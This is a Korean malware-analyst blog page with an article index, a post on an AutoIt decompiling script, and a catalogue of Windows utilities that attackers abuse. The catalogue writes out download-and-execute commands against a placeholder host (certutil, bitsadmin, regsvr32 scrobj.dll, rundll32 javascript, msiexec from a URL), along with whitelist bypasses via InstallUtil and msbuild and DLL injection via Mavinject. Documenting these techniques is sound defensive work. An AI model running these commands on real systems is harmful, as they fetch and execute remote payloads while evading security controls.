2018.10.03 13:47 악성코드 분석

목록



1. 도구

- Ollydbg 2.01 매뉴얼http://sanseolab.tistory.com/8 ]

Windbg, Gdb 명령어 정리 http://sanseolab.tistory.com/22 ]

VC++ 옵션 정리 http://sanseolab.tistory.com/20 ]

exeinfo PE 사용법 [ http://sanseolab.tistory.com/48 ]

x64dbg 분석 팁http://sanseolab.tistory.com/54 ]

IDA Pro 시그니처 사용 및 제작 (Flirt) [ http://sanseolab.tistory.com/55 ]

- GCC 사용법  [ http://sanseolab.tistory.com/67 ]



2. 보안 개념

코드 인젝션과 사용자 모드 후킹 http://sanseolab.tistory.com/28 ]

윈도우의 예외 처리 http://sanseolab.tistory.com/16 ]

윈도우의 서비스 http://sanseolab.tistory.com/18 ]

API Sets http://sanseolab.tistory.com/17 ]

윈도우의 자료형 정리 http://sanseolab.tistory.com/9 ]

윈도우에서 스크립트 악성코드 http://sanseolab.tistory.com/41 ]

악성코드 분석 자동화 (샌드박스 및 에뮬레이터) http://sanseolab.tistory.com/39 ]

안티바이러스의 악성코드 탐지 메커니즘 http://sanseolab.tistory.com/35 ]

다형성 바이러스 http://sanseolab.tistory.com/19 ]

악성코드 지속 메커니즘 http://sanseolab.tistory.com/30 ]

파워셸(PowerShell)과 악성코드 http://sanseolab.tistory.com/29 ]

윈도우 권한과 UAC (User Access Control) 우회 http://sanseolab.tistory.com/27 ]

악성코드가 감염되기까지 http://sanseolab.tistory.com/26 ]

EFLAGS 상태 레지스터 http://sanseolab.tistory.com/44 ]

Anti-AV와 Anti-VM (Sandbox) [ http://sanseolab.tistory.com/52 ]

Access Token 및 권한과 Integrity Level에 대한 정리 [ http://sanseolab.tistory.com/50 ]

COM, OLE,.NET Framework 등의 개념 및 사용 [ http://sanseolab.tistory.com/49 ]

TEB 및 PEB를 활용하는 루틴 [ http://sanseolab.tistory.com/47 ]

Process Hollowing 및 응용  [ http://sanseolab.tistory.com/57 ]

CreateProcess / CreateThread 내부  [ http://sanseolab.tistory.com/58 ]

- 악성 행위에 사용될 수 있는 시스템 유틸리티  [ http://sanseolab.tistory.com/66 ]

- 윈도우의 작업 스케줄링 및 기타  [ http://sanseolab.tistory.com/68 ]



3. 분석

패커들 분석 http://sanseolab.tistory.com/10 ]

Yoda's Protector 분석 http://sanseolab.tistory.com/11 ]

프로텍터 PEspin 1.33 분석 http://sanseolab.tistory.com/34 ]

델파이 바이너리 분석 방법론 [ http://sanseolab.tistory.com/56 ]

Autoit 스크립트  [ http://sanseolab.tistory.com/59 ]

바이너리로 변환된 VBScript 디컴파일  http://sanseolab.tistory.com/60 ]

오토핫키 (AutoHotKey) 버전 별 디컴파일  [ http://sanseolab.tistory.com/61 ]

바이너리로 변환된 스크립트 추출 ( VBScript, Powershell, Batch )  [ http://sanseolab.tistory.com/63 ]

Visual Basic 6.0 바이너리 분석  [ http://sanseolab.tistory.com/64 ]

인스톨러들 분석  [ http://sanseolab.tistory.com/65 ]

USB 악성코드 분석 [ http://sanseolab.tistory.com/42 ]



4. 개발

간단한 패커 개발 http://sanseolab.tistory.com/12 ]

윈도우의 드라이버 개발과 루트킷 그리고 AV http://sanseolab.tistory.com/13 ]

리눅스 안티바이러스 구현에 관한 정리 http://sanseolab.tistory.com/23 ]

윈도우 안티바이러스 드라이버 개발 연습 http://sanseolab.tistory.com/33 ]

윈도우 드라이버로 구현한 간단한 프로세스 로그 생성기 (Process Logger) http://sanseolab.tistory.com/38 ]

yara를 이용한 시그니처 분류 연습  [ http://sanseolab.tistory.com/62 ]

[Simple Tool] Exe2AutPlus  [ http://sanseolab.tistory.com/69 ]



'악성코드 분석' 카테고리의 다른 글

목록  (0) 2018.10.03
[Simple Tool] Exe2AutPlus  (0) 2018.10.03
악성 행위에 사용될 수 있는 시스템 유틸리티  (0) 2018.09.30
윈도우의 작업 스케줄링 및 기타  (0) 2018.09.30
GCC 사용법  (0) 2018.07.19
인스톨러들 분석  (0) 2018.06.13
Posted by SanseoLab SanseoLab



[ http://sanseolab.tistory.com/59 ]


  위 링크의 4번 항목을 보면 몇 번의 수작업이 필요하다. 처음 하는 입장에서나 자주 하는 입장에서나 손이 많이 가는 편이다. 인스톨러 형태의 경우 관리자 권한으로 실행되도록 만들어져 있는 경우가 많고 요즘은 x64 아키텍처로 생성된 것들도 많다. 그래서 간단하게 스크립트를 만들었다.


  내용이 간단한 만큼 사용법도 간단하다. 먼저 파이썬이 설치되어 있어야 한다. 이후 디컴파일 하고자 하는 exe 파일의 이름을 input.exe로 변경한 후 현재 폴더에 넣고 Exe2AutPlus.bat을 실행하면 결과로 디컴파일된 원본 스크립트인 output.au3 파일이 생성된다.


  Exe2AutPlus.bat의 경우 먼저 Exe2AutPlu.py를 실행한다. 이 파이썬 파일은 input.exe에서 컴파일된 소스 코드를 compiledScript.bin으로 추출한다. 이후 더미 바이너리 파일인 dumb.bin 파일에 이것을 덧붙인다. Exe2AutPlus.bat은 이 결과물을 가지고 Exe2Aut.exe를 커맨드 라인으로 실행시켜 원본 스크립트를 추출하게 되며 이후 임시 파일들 삭제 및 dumb.bin 파일 복구 등을 진행한다. 자세한 내용이나 원리는 위의 링크를 참조하면 된다.


  그냥 다음 링크의 파일들 전체를 다운로드 받은 후 간단하게 사용하자.

[ https://github.com/montouesto/Exe2AutPlus ]


'악성코드 분석' 카테고리의 다른 글

목록  (0) 2018.10.03
[Simple Tool] Exe2AutPlus  (0) 2018.10.03
악성 행위에 사용될 수 있는 시스템 유틸리티  (0) 2018.09.30
윈도우의 작업 스케줄링 및 기타  (0) 2018.09.30
GCC 사용법  (0) 2018.07.19
인스톨러들 분석  (0) 2018.06.13
Posted by SanseoLab SanseoLab



0. 개요

1. 명령어 실행

2. 스크립트 실행

3. 파일 실행

4. 다운로드

5. 컴파일

6. 기타





0. 개요

  cmd 외에도 여러 시스템 유틸리티가 악성 행위에 사용될 수 있다. 여러 자료들을 참고하여 정리하였고, 이후 추가 사항이 있을 시 더 보충하도록 하겠다.





1. 명령어 실행

1.1 cmd.exe

  생략.



1.2 powershell.exe

  생략.



1.3 wmic.exe

  따로 정리할 예정이므로 간략히만 정리한다.

> process call create "cmd.exe /c calc"


  다음 링크와 같이 xsl 파일을 서버에 생성한 후 아래의 명령어로 실행시키는 방식이 있다. [ https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl ] 특징이라면 명령어에서 xsl 확장자를 받아야 하는데 이 확장자가 흔하지는 않는다는 것이며 따라서 서버에서도 xsl 확장자 형태로 존재해야 한다는 점이다.

> wmic os get /format:http://www.aaa.com/data/aaa.xsl



1.4 forfiles.exe

  파일들을 선택하고 실행시키는데 사용되는 프로그램이라고 한다. 옵션의 자세한 방식은 모르겠지만 예제와 같이 사용하는 것이 가장 좋은것 같다. 마지막 calc.exe 대신 cmd 등의 실제 명령어가 들어가면 될 것이다.

> forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe


  forfiles 자체는 현재 디렉터리의 모든 파일을 보여준다. /p 옵션을 통해서 특정 디렉터리를 지정할 수 있다. /m 옵션은 잘 모르겠는 것이 /c calc.exe를 빼고 실행하니 system32 디렉터리에서 찾은 "notepad.exe" 문자열만을 보여주는 것 같은데 문제는 이 "/m notepad.exe"가 꼭 필요한 것 같지 않아서 빼고 실행했더니 calc.exe를 무한 실행시킨다. 이유는 모르겠으나 저렇게 사용해야 할 것으로 보인다.





2. 스크립트 실행

  다음 링크 참조 [ http://sanseolab.tistory.com/41 ]


2.1 wscript.exe  /  cscript.exe

  JS, VBS 등의 스크립트 파일 더블 클릭 시 디폴트로 실행되어 해당 스크립트를 실행시켜주는 프로그램이다.



2.2 mshta.exe

  일반적으로 .hta 파일을 실행시키는데 사용된다. 

> mshta.exe aaa.hta


  이외에도 직접 VBS나 JS 코드를 실행시킬 수도 있다.

> mshta.exe vbscript:Execute("MsgBox(""amessage"",64,""atitle"")(window.close)")

> mshta.exe javascript:alert('test');





3. 파일 실행

3.1 msiexec.exe

  설치 파일인 .msi 파일을 실행시키면 msiexec.exe가 인스톨러 역할을 하여 설치가 진행된다. 추가 기능은 [ 4.1 항목 ] 참조

> msiexec.exe /i "aaa.msi"



3.2 rundll32.exe

  일반적으로 dll 파일을 실행시키는데 사용된다. 참고로 DLL 이름과 반점 이후 호출할 함수명을 쓸 때 띄어쓰기 없이 붙여야 실행이 가능하다. 그리고 함수명 대신 Ordinal 번호로 호출할 경우 #1 형태로 사용 가능하다.

> rundll32.exe aaa.dll,DllMain

> rundll32.exe aaa.dll,#1


  이외에도 자바스크립트를 실행시키는 방식도 최근 악용되고 있다.

> rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";alert('test');


  그리고 조금 더 수정해서 다운로더 형태로도 만들 수 있다.

> Rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject('script:http://aaa.com/data/aaa');



3.3 control.exe

  control.exe는 제어판 프로그램이며, 이유는 모르겠지만 DLL 실행이 가능하다. [ https://www.dearbytes.com/blog/playing-around-with-nsa-hacking-tools/ ]

> control.exe aaa.dll



3.4 InstallUtil.exe

  다른 용도보다는 Whitelist Bypass에 사용될 수 있다. Whitelist Bypass란 정상적으로 사인된 코드에서 실행됨으로써 보안 솔루션의 탐지를 회피하는 기법이다.


  csc.exe와 같이 사용되는데, 먼저 악성코드를 실행시킬 목적의 소스 코드를 제작한 후 csc.exe를 컴파일한다. 이후 컴파일된 실행 파일을 InstallUtil.exe로 실행시키는 방식이다. [ https://www.attackiq.com/blog/2018/05/21/application-whitelist-bypass/ ]

> csc.exe test.cs

> InstallUtil.exe /U test.exe





4. 다운로드

4.1 msiexec.exe

  .msi 파일이 꼭 로컬에 위치할 필요 없이 웹 서버에 올라와 있더라도 다운로드 후 설치가 진행된다. 다음 링크 참조 [ http://sanseolab.tistory.com/65 ]

> msiexec.exe /i "http://www.aaa.com/data/aaa.msi"



4.2 certutil.exe

  certutil -urlcache -split -f [URL] [output-file]

> certutil -urlcache -split -f "http://www.aaa.com/data/aaa.exe" "aaa.exe"


  또는 -decode 옵션을 통해 Base64 디코딩이 가능한 특징을 이용할 수도 있다. 즉 Base64로 인코딩된 PE를 다운로드 받은 후 디코딩까지 가능한 것이다.


> certutil.exe -urlcache -split -f "https://www.aaa.com/data/aaa.txt" bbb.txt

> certutil.exe -decode bbb.txt ccc.exe



4.3 bitsadmin.exe

  bitsadmin /transfer [job-name] /download /priority normal [URL-to-payload] [output-path]

> bitsadmin /transfer /download /priority HIGH "http://www.aaa.com/data/aaa.exe" "aaa.exe"



4.4 regsrv.exe

  다음 링크를 보면 외부 서버에 JScript를 포함한 sct 파일을 두고 아래의 명령어를 통해 실행시킨다. sct 파일은 링크의 예제와 같은 형태를 띄며 JScript나 VBScript를 포함할 수 있다. 그리고 scrobj.dll(Windows Script Component Runtime)은 윈도우에서 스크립트를 담당하는 엔진이라고 할 수 있다. [ https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/ ]


> regsvr32.exe /s /u /i:http://www.aaa.com/data/aaa.sct scrobj.dll



4.5 cmstp.exe

  inf 파일을 만들고 내부에 url을 등록한다. 해당 url은 regsrv와 비슷하게 sct 파일이 들어있다. inf 파일 설정 예제는 다음과 같다. [ https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80 ]


  참고로 sct 파일 외에도 DLL 파일도 가능하다. [ https://pentestlab.blog/2018/05/10/applocker-bypass-cmstp/ ]


> cmstp.exe /s cmstp.inf





5. 컴파일

5.1 csc.exe

  .NET 컴파일러로서 닷넷 소스 코드를 생성한 후 이것을 가지고 바이너리를 만들고 실행할 경우 직접 바이너리를 다운로드 받을 필요가 없어진다.


> csc.exe /out:output.exe input.cs


  이것은 생성까지만이고 InstallUtil.exe와 같이 사용될 수 있다. 해당 항목 참조.


  굳이 위와 같이 간단하게 사용하는 것 보다 약간 응용한 방식도 존재한다. 먼저 다음과 같이 실행된다.


csc.exe /noconfig /fullpaths "aaa.cmdline"


  aaa.cmdline이라는 파일을 확인해 보면 여러 설정들이 들어있는 것을 볼 수 있다.


/t:library /utf8output /R:"System.Management.dll" /R:"System.dll" /R:"System.Drawing.dll" /R:"System.Core.dll" /out:"경로\bbb.dll" /D:DEBUG /debug+ /optimize- /optimize+ /platform:X86 /debug+ /target:winexe  "경로\ccc.cs"



5.2 msbuild.exe

  xml 파일 내에 인라인으로 악성 코드를 작성한다. 참고로 언어는 C#이며 미미카츠의 경우처럼 실제 악성 행위를 하는 부분은 셸코드로 작성할 수도 있다. 어쨌든 exe 형태가 아닌 xml 형태로 존재하게 되며 이후 msbuild.exe의 인자로 작성한 xml 파일을 넣으면 해당 코드가 실행된다. 다음은 예제 코드이며 직접 코드를 수정하여 테스트할 수 있다. 미미카츠에서 사용된 셸코드 형태도 검색하면 쉽게 찾을 수 있을 것이다.

[ https://gist.github.com/Arno0x/e2b63b5d868d54724123f31cc39e4b21 ]


> msbuild.exe test.xml





6. 기타

6.1 SyncAppvPublishingServer.exe

  다음은 더 찾아본 후 테스트해 볼 예정이다. [ https://safe-cyberdefense.com/malware-can-use-powershell-without-powershell-exe/ ]


> SyncAppvPublishingServer.exe "Break; Start-Process Calc.exe"



6.2 winrm.exe

  디폴트로 enabled되어 있지 않으므로 생략한다.



6.3 odbcconf.exe

  더 찾아본 후 테스트해 볼 예정이다.


> odbcconf /s /a {regsvr \\www.aaa.com/data/aaa.exe}



6.4 regasm.exe  /  regsvc.exe

  더 찾아본 후 테스트해 볼 예정이다.


> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\www.aaa.com/data/aaa.exe



6.5 Mavinject.exe

  실행 중인 프로세스에 DLL은 인젝션할 수 있게 해준다. 해당 파일이 존재하지 않아서 테스트를 해보지 못했다.


> MavInject.exe <PID> /INJECTRUNNING <PATH DLL>



'악성코드 분석' 카테고리의 다른 글

목록  (0) 2018.10.03
[Simple Tool] Exe2AutPlus  (0) 2018.10.03
악성 행위에 사용될 수 있는 시스템 유틸리티  (0) 2018.09.30
윈도우의 작업 스케줄링 및 기타  (0) 2018.09.30
GCC 사용법  (0) 2018.07.19
인스톨러들 분석  (0) 2018.06.13
Posted by SanseoLab SanseoLab

블로그 이미지
Malware Analyst
SanseoLab

태그목록

공지사항

Yesterday42
Today1
Total17,230

달력

 « |  » 2018.10
  1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31      

글 보관함